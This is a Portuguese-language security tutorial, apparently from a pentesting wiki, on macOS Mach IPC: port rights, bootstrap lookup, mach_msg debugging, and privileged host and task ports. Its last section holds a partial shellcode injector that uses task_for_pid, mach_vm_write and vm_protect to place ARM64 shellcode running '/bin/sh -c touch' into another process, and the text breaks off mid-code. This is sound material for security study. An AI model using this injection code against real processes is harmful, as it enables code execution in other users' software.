macOS IPC - Inter Process Communication

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Mensagens Mach via Portas

Informações Básicas

O Mach usa tarefas como a unidade mais pequena para compartilhar recursos, e cada tarefa pode conter múltiplas threads. Essas tarefas e threads são mapeadas em um para um para processos e threads POSIX.

A comunicação entre tarefas ocorre via Comunicação entre Processos Mach (IPC), utilizando canais de comunicação unidirecional. As mensagens são transferidas entre portas, que funcionam como filas de mensagens gerenciadas pelo kernel.

Uma porta é o elemento básico do IPC do Mach. Ela pode ser usada para enviar mensagens e recebê-las.

Cada processo possui uma tabela IPC, onde é possível encontrar as portas mach do processo. O nome de uma porta mach é na verdade um número (um ponteiro para o objeto do kernel).

Um processo também pode enviar um nome de porta com alguns direitos para uma tarefa diferente e o kernel fará com que essa entrada na tabela IPC da outra tarefa apareça.

Direitos de Porta

Os direitos de porta, que definem quais operações uma tarefa pode realizar, são essenciais para essa comunicação. Os possíveis direitos de porta são (definições daqui):

• Direito de Receber, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um consumidor), o que significa que pode haver apenas um direito de receber para cada porta em todo o sistema (ao contrário de pipes, onde vários processos podem ter descritores de arquivo para a extremidade de leitura de um pipe).

• Uma tarefa com o Direito de Receber pode receber mensagens e criar Direitos de Envio, permitindo enviar mensagens. Originalmente apenas a própria tarefa tem o Direito de Receber sobre sua porta.

• Se o proprietário do Direito de Receber morre ou o encerra, o direito de envio se torna inútil (nome morto).

• Direito de Envio, que permite enviar mensagens para a porta.

• O Direito de Envio pode ser clonado para que uma tarefa que possui um Direito de Envio possa clonar o direito e concedê-lo a uma terceira tarefa.

• Note que os direitos de porta também podem ser passados por mensagens Mac.

• Direito de Envio-único, que permite enviar uma mensagem para a porta e depois desaparece.

• Este direito não pode ser clonado, mas pode ser movido.

• Direito de conjunto de portas, que denota um conjunto de portas em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Os conjuntos de portas podem ser usados para escutar várias portas simultaneamente, muito parecido com select/poll/epoll/kqueue no Unix.

• Nome morto, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.

As tarefas podem transferir DIREITOS DE ENVIO para outros, permitindo-lhes enviar mensagens de volta. Os DIREITOS DE ENVIO também podem ser clonados, para que uma tarefa possa duplicar e dar o direito a uma terceira tarefa. Isso, combinado com um processo intermediário conhecido como o servidor de inicialização, permite uma comunicação eficaz entre tarefas.

Portas de Arquivo

Portas de arquivo permitem encapsular descritores de arquivo em portas Mac (usando direitos de porta Mach). É possível criar um fileport a partir de um FD dado usando fileport_makeport e criar um FD a partir de um fileport usando fileport_makefd.

Estabelecendo uma comunicação

Como mencionado anteriormente, é possível enviar direitos usando mensagens Mach, no entanto, você não pode enviar um direito sem já ter um direito para enviar uma mensagem Mach. Então, como é estabelecida a primeira comunicação?

Para isso, o servidor de inicialização (launchd no Mac) está envolvido, como todos podem obter um DIREITO DE ENVIO para o servidor de inicialização, é possível pedir a ele um direito para enviar uma mensagem para outro processo:

1. A Tarefa A cria uma nova porta, obtendo o direito de RECEBER sobre ela.

2. A Tarefa A, sendo a detentora do direito de RECEBER, gera um DIREITO DE ENVIO para a porta.

3. A Tarefa A estabelece uma conexão com o servidor de inicialização, e envia a ele o DIREITO DE ENVIO para a porta que gerou no início.

• Lembre-se de que qualquer um pode obter um DIREITO DE ENVIO para o servidor de inicialização.

4. A Tarefa A envia uma mensagem bootstrap_register para o servidor de inicialização para associar a porta fornecida a um nome como com.apple.taska

5. A Tarefa B interage com o servidor de inicialização para executar uma busca de inicialização para o nome do serviço (bootstrap_lookup). Para que o servidor de inicialização possa responder, a tarefa B enviará um DIREITO DE ENVIO para uma porta que criou anteriormente dentro da mensagem de busca. Se a busca for bem-sucedida, o servidor duplica o DIREITO DE ENVIO recebido da Tarefa A e transmite para a Tarefa B.

• Lembre-se de que qualquer um pode obter um DIREITO DE ENVIO para o servidor de inicialização.

6. Com este DIREITO DE ENVIO, a Tarefa B é capaz de enviar uma mensagem para a Tarefa A.

7. Para uma comunicação bidirecional, geralmente a tarefa B gera uma nova porta com um direito de RECEBER e um DIREITO DE ENVIO, e dá o DIREITO DE ENVIO para a Tarefa A para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).

O servidor de inicialização não pode autenticar o nome do serviço reivindicado por uma tarefa. Isso significa que uma tarefa poderia potencialmente falsificar qualquer tarefa do sistema, como reivindicar falsamente um nome de serviço de autorização e então aprovar cada solicitação.

Em seguida, a Apple armazena os nomes dos serviços fornecidos pelo sistema em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: /System/Library/LaunchDaemons e /System/Library/LaunchAgents. Ao lado de cada nome de serviço, o binário associado também é armazenado. O servidor de inicialização, criará e manterá um direito de RECEBER para cada um desses nomes de serviço.

Para esses serviços predefinidos, o processo de busca difere ligeiramente. Quando um nome de serviço está sendo procurado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:

• A Tarefa B inicia uma busca de inicialização para um nome de serviço.

• launchd verifica se a tarefa está em execução e, se não estiver, a inicia.

• A Tarefa A (o serviço) executa um check-in de inicialização (bootstrap_check_in()). Aqui, o servidor de inicialização cria um DIREITO DE ENVIO, o retém e transfere o DIREITO DE RECEBER para a Tarefa A.

• launchd duplica o DIREITO DE ENVIO e envia para a Tarefa B.

• A Tarefa B gera uma nova porta com um direito de RECEBER e um DIREITO DE ENVIO, e dá o DIREITO DE ENVIO para a Tarefa A (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).

No entanto, esse processo se aplica apenas a tarefas de sistema predefinidas. Tarefas não do sistema ainda operam conforme descrito originalmente, o que poderia potencialmente permitir a falsificação.

Portanto, o launchd nunca deve falhar, ou todo o sistema falhará.

Uma Mensagem Mach

Encontre mais informações aqui

A função mach_msg, essencialmente uma chamada de sistema, é utilizada para enviar e receber mensagens Mach. A função requer que a mensagem seja enviada como argumento inicial. Esta mensagem deve começar com uma estrutura mach_msg_header_t, seguida pelo conteúdo da mensagem real. A estrutura é definida da seguinte forma:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Os processos que possuem um direito de recebimento podem receber mensagens em uma porta Mach. Por outro lado, os remetentes recebem um direito de envio ou um direito de envio único. O direito de envio único é exclusivo para enviar uma única mensagem, após o que se torna inválido.

O campo inicial msgh_bits é um mapa de bits:

• O primeiro bit (mais significativo) é usado para indicar que uma mensagem é complexa (mais sobre isso abaixo)

• O 3º e 4º bits são usados pelo kernel

• Os 5 bits menos significativos do 2º byte podem ser usados para voucher: outro tipo de porta para enviar combinações de chave/valor.

• Os 5 bits menos significativos do 3º byte podem ser usados para porta local

• Os 5 bits menos significativos do 4º byte podem ser usados para porta remota

Os tipos que podem ser especificados no voucher, portas locais e remotas são (de mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

Por exemplo, MACH_MSG_TYPE_MAKE_SEND_ONCE pode ser usado para indicar que um direito de envio-único deve ser derivado e transferido para esta porta. Também pode ser especificado MACH_PORT_NULL para impedir que o destinatário possa responder.

Para alcançar uma comunicação bidirecional fácil, um processo pode especificar uma porta mach no cabeçalho da mensagem mach chamada porta de resposta (msgh_local_port) onde o receptor da mensagem pode enviar uma resposta a esta mensagem.

Note que esse tipo de comunicação bidirecional é usado em mensagens XPC que esperam uma resposta (xpc_connection_send_message_with_reply e xpc_connection_send_message_with_reply_sync). Mas geralmente são criadas portas diferentes como explicado anteriormente para criar a comunicação bidirecional.

Os outros campos do cabeçalho da mensagem são:

• msgh_size: o tamanho do pacote inteiro.

• msgh_remote_port: a porta para a qual esta mensagem é enviada.

• msgh_voucher_port: vouchers mach.

• msgh_id: o ID desta mensagem, que é interpretado pelo receptor.

Note que mensagens mach são enviadas por uma porta mach, que é um canal de comunicação de um único receptor e múltiplos remetentes incorporado no kernel mach. Múltiplos processos podem enviar mensagens para uma porta mach, mas em qualquer momento apenas um único processo pode ler dela.

As mensagens são então formadas pelo cabeçalho mach_msg_header_t seguido pelo corpo e pelo trailer (se houver) e podem conceder permissão para responder a ela. Nestes casos, o kernel só precisa passar a mensagem de uma tarefa para a outra.

Um trailer é informação adicionada à mensagem pelo kernel (não pode ser definida pelo usuário) que pode ser solicitada na recepção da mensagem com as flags MACH_RCV_TRAILER_<trailer_opt> (há diferentes informações que podem ser solicitadas).

Mensagens Complexas

No entanto, existem outras mensagens mais complexas, como as que passam direitos de porta adicionais ou compartilham memória, onde o kernel também precisa enviar esses objetos para o destinatário. Nestes casos, o bit mais significativo do cabeçalho msgh_bits é definido.

Os descritores possíveis para passar são definidos em mach/message.h:

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

Em 32 bits, todos os descritores têm 12 bytes e o tipo de descritor está no 11º byte. Em 64 bits, os tamanhos variam.

O kernel copiará os descritores de uma tarefa para a outra, mas primeiro criará uma cópia na memória do kernel. Essa técnica, conhecida como "Feng Shui", tem sido abusada em vários exploits para fazer o kernel copiar dados em sua memória, fazendo com que um processo envie descritores para si mesmo. Em seguida, o processo pode receber as mensagens (o kernel as liberará).

Também é possível enviar direitos de porta para um processo vulnerável, e os direitos da porta aparecerão no processo (mesmo que ele não os esteja manipulando).

APIs de Portas do Mac

Observe que as portas estão associadas ao namespace da tarefa, então para criar ou procurar uma porta, o namespace da tarefa também é consultado (mais em mach/mach_port.h):

• mach_port_allocate | mach_port_construct: Criar uma porta.

• mach_port_allocate também pode criar um conjunto de portas: direito de recebimento sobre um grupo de portas. Sempre que uma mensagem é recebida, é indicada a porta de onde ela veio.

• mach_port_allocate_name: Alterar o nome da porta (por padrão, inteiro de 32 bits)

• mach_port_names: Obter nomes de porta de um alvo

• mach_port_type: Obter direitos de uma tarefa sobre um nome

• mach_port_rename: Renomear uma porta (como dup2 para FDs)

• mach_port_allocate: Alocar um novo RECEBER, CONJUNTO_DE_PORTAS ou DEAD_NAME

• mach_port_insert_right: Criar um novo direito em uma porta onde você tem RECEBER

• mach_port_...

• mach_msg | mach_msg_overwrite: Funções usadas para enviar e receber mensagens mach. A versão de sobrescrita permite especificar um buffer diferente para a recepção da mensagem (a outra versão apenas o reutilizará).

Depuração mach_msg

Como as funções mach_msg e mach_msg_overwrite são as usadas para enviar e receber mensagens, definir um ponto de interrupção nelas permitiria inspecionar as mensagens enviadas e recebidas.

Por exemplo, iniciar a depuração de qualquer aplicativo que você possa depurar, pois ele carregará libSystem.B que usará essa função.

(lldb) b mach_msg
Ponto de interrupção 1: onde = libsystem_kernel.dylib`mach_msg, endereço = 0x00000001803f6c20
(lldb) r
Processo 71019 lançado: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Processo 71019 parado
* thread #1, fila = 'com.apple.main-thread', motivo da parada = ponto de interrupção 1.1
quadro #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Alvo 0: (SandboxedShellApp) parado.
(lldb) bt
* thread #1, fila = 'com.apple.main-thread', motivo da parada = ponto de interrupção 1.1
* quadro #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
quadro #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
quadro #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
quadro #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
quadro #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
quadro #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
quadro #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
quadro #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
quadro #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
quadro #9: 0x0000000181a1d5c8 dyld`função de invocação para bloco em dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

Para obter os argumentos de mach_msg, verifique os registradores. Estes são os argumentos (de mach/message.h):

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

Obtenha os valores dos registros:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

Verifique o cabeçalho da mensagem verificando o primeiro argumento:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

Esse tipo de mach_msg_bits_t é muito comum para permitir uma resposta.

Enumerar portas

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

O nome é o nome padrão dado à porta (verifique como ele está aumentando nos primeiros 3 bytes). O ipc-object é o identificador único ofuscado da porta. Observe também como as portas com apenas direito de send estão identificando o proprietário dela (nome da porta + pid). Observe também o uso de + para indicar outras tarefas conectadas à mesma porta.

Também é possível usar procesxp para ver também os nomes de serviço registrados (com SIP desativado devido à necessidade de com.apple.system-task-port):

procesp 1 ports

Pode instalar esta ferramenta no iOS fazendo o download em http://newosxbook.com/tools/binpack64-256.tar.gz

Exemplo de código

Observe como o remetente aloca uma porta, cria um direito de envio para o nome org.darlinghq.example e o envia para o servidor de inicialização enquanto o remetente solicitava o direito de envio desse nome e o usava para enviar uma mensagem.

receiver.c

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

sender.c

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

Portas Privilegiadas

Existem algumas portas especiais que permitem realizar certas ações sensíveis ou acessar determinados dados sensíveis caso uma tarefa tenha permissões de ENVIO sobre elas. Isso torna essas portas muito interessantes do ponto de vista de um atacante não apenas por causa das capacidades, mas também porque é possível compartilhar permissões de ENVIO entre tarefas.

Portas Especiais do Host

Essas portas são representadas por um número.

Os direitos de ENVIO podem ser obtidos chamando host_get_special_port e os direitos de RECEBIMENTO chamando host_set_special_port. No entanto, ambas as chamadas requerem a porta host_priv que apenas o root pode acessar. Além disso, no passado, o root era capaz de chamar host_set_special_port e sequestrar arbitrariamente o que permitia, por exemplo, ignorar assinaturas de código sequestrando HOST_KEXTD_PORT (SIP agora impede isso).

Essas portas são divididas em 2 grupos: As primeiras 7 portas são de propriedade do kernel sendo a 1 HOST_PORT, a 2 HOST_PRIV_PORT, a 3 HOST_IO_MASTER_PORT e a 7 é HOST_MAX_SPECIAL_KERNEL_PORT. As que começam a partir do número 8 são de propriedade de daemons do sistema e podem ser encontradas declaradas em host_special_ports.h.

• Porta do Host: Se um processo tem privilégio de ENVIO sobre esta porta, ele pode obter informações sobre o sistema chamando suas rotinas como:

• host_processor_info: Obter informações do processador

• host_info: Obter informações do host

• host_virtual_physical_table_info: Tabela de páginas virtual/física (requer MACH_VMDEBUG)

• host_statistics: Obter estatísticas do host

• mach_memory_info: Obter layout de memória do kernel

• Porta Priv do Host: Um processo com direito de ENVIO sobre esta porta pode realizar ações privilegiadas como mostrar dados de inicialização ou tentar carregar uma extensão de kernel. O processo precisa ser root para obter essa permissão.

• Além disso, para chamar a API kext_request é necessário ter outras permissões com.apple.private.kext* que são concedidas apenas a binários da Apple.

• Outras rotinas que podem ser chamadas são:

• host_get_boot_info: Obter machine_boot_info()

• host_priv_statistics: Obter estatísticas privilegiadas

• vm_allocate_cpm: Alocar Memória Física Contígua

• host_processors: Direito de envio para processadores do host

• mach_vm_wire: Tornar a memória residente

• Como o root pode acessar essa permissão, ele poderia chamar host_set_[special/exception]_port[s] para sequestrar portas especiais ou de exceção do host.

É possível ver todas as portas especiais do host executando:

procexp all ports | grep "HSP"

Portas de Tarefas

Originalmente, o Mach não tinha "processos", tinha "tarefas" que eram consideradas mais como um contêiner de threads. Quando o Mach foi mesclado com o BSD, cada tarefa foi correlacionada com um processo BSD. Portanto, cada processo BSD tem os detalhes necessários para ser um processo e cada tarefa Mach também tem suas operações internas (exceto pelo pid inexistente 0 que é o kernel_task).

Existem duas funções muito interessantes relacionadas a isso:

• task_for_pid(target_task_port, pid, &task_port_of_pid): Obter um direito de ENVIO para a porta da tarefa relacionada ao especificado pelo pid e entregá-lo à target_task_port indicada (que geralmente é a tarefa chamadora que usou mach_task_self(), mas poderia ser uma porta de ENVIO sobre uma tarefa diferente).

• pid_for_task(task, &pid): Dado um direito de ENVIO para uma tarefa, encontrar a qual PID essa tarefa está relacionada.

Para realizar ações dentro da tarefa, a tarefa precisava de um direito de ENVIO para si mesma chamando mach_task_self() (que usa o task_self_trap (28)). Com essa permissão, uma tarefa pode realizar várias ações como:

• task_threads: Obter direitos de ENVIO sobre todas as portas de tarefa das threads da tarefa

• task_info: Obter informações sobre uma tarefa

• task_suspend/resume: Suspender ou retomar uma tarefa

• task_[get/set]_special_port

• thread_create: Criar uma thread

• task_[get/set]_state: Controlar o estado da tarefa

• e mais pode ser encontrado em mach/task.h

Observe que com um direito de ENVIO sobre uma porta de tarefa de uma tarefa diferente, é possível realizar tais ações sobre uma tarefa diferente.

Além disso, a task_port é também a porta vm_map que permite ler e manipular memória dentro de uma tarefa com funções como vm_read() e vm_write(). Isso basicamente significa que uma tarefa com direitos de ENVIO sobre a task_port de uma tarefa diferente será capaz de injetar código nessa tarefa.

Lembre-se de que porque o kernel também é uma tarefa, se alguém conseguir obter permissões de ENVIO sobre o kernel_task, será capaz de fazer o kernel executar qualquer coisa (jailbreaks).

• Chame mach_task_self() para obter o nome desta porta para a tarefa chamadora. Esta porta é herdada apenas através do exec(); uma nova tarefa criada com fork() obtém uma nova porta de tarefa (como caso especial, uma tarefa também obtém uma nova porta de tarefa após exec() em um binário suid). A única maneira de iniciar uma tarefa e obter sua porta é realizar a "dança de troca de portas" enquanto faz um fork().

• Estas são as restrições para acessar a porta (de macos_task_policy do binário AppleMobileFileIntegrity):

  • Se o aplicativo tiver a permissão com.apple.security.get-task-allow, processos do mesmo usuário podem acessar a porta da tarefa (comumente adicionado pelo Xcode para depuração). O processo de notarização não permitirá isso em lançamentos de produção.

  • Aplicativos com a permissão com.apple.system-task-ports podem obter a porta da tarefa para qualquer processo, exceto o kernel. Em versões mais antigas, era chamado de task_for_pid-allow. Isso é concedido apenas a aplicativos da Apple.

  • Root pode acessar portas de tarefas de aplicativos não compilados com um tempo de execução fortificado (e não da Apple).

A porta do nome da tarefa: Uma versão não privilegiada da porta da tarefa. Ela faz referência à tarefa, mas não permite controlá-la. A única coisa que parece estar disponível por meio dela é task_info().

Injeção de Shellcode em thread via Porta de Tarefa

Você pode obter um shellcode de:

pageIntroduction to ARM64v8

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

Arquivo `entitlements.plist` contém as permissões especiais concedidas a um aplicativo macOS. Essas permissões podem incluir acesso a recursos sensíveis do sistema, como câmera, microfone, localização, etc. Certifique-se de revisar e validar cuidadosamente as permissões concedidas a um aplicativo por meio deste arquivo para garantir a segurança e a privacidade do sistema.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

Compile o programa anterior e adicione as permissões para poder injetar código com o mesmo usuário (caso contrário, será necessário usar sudo).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

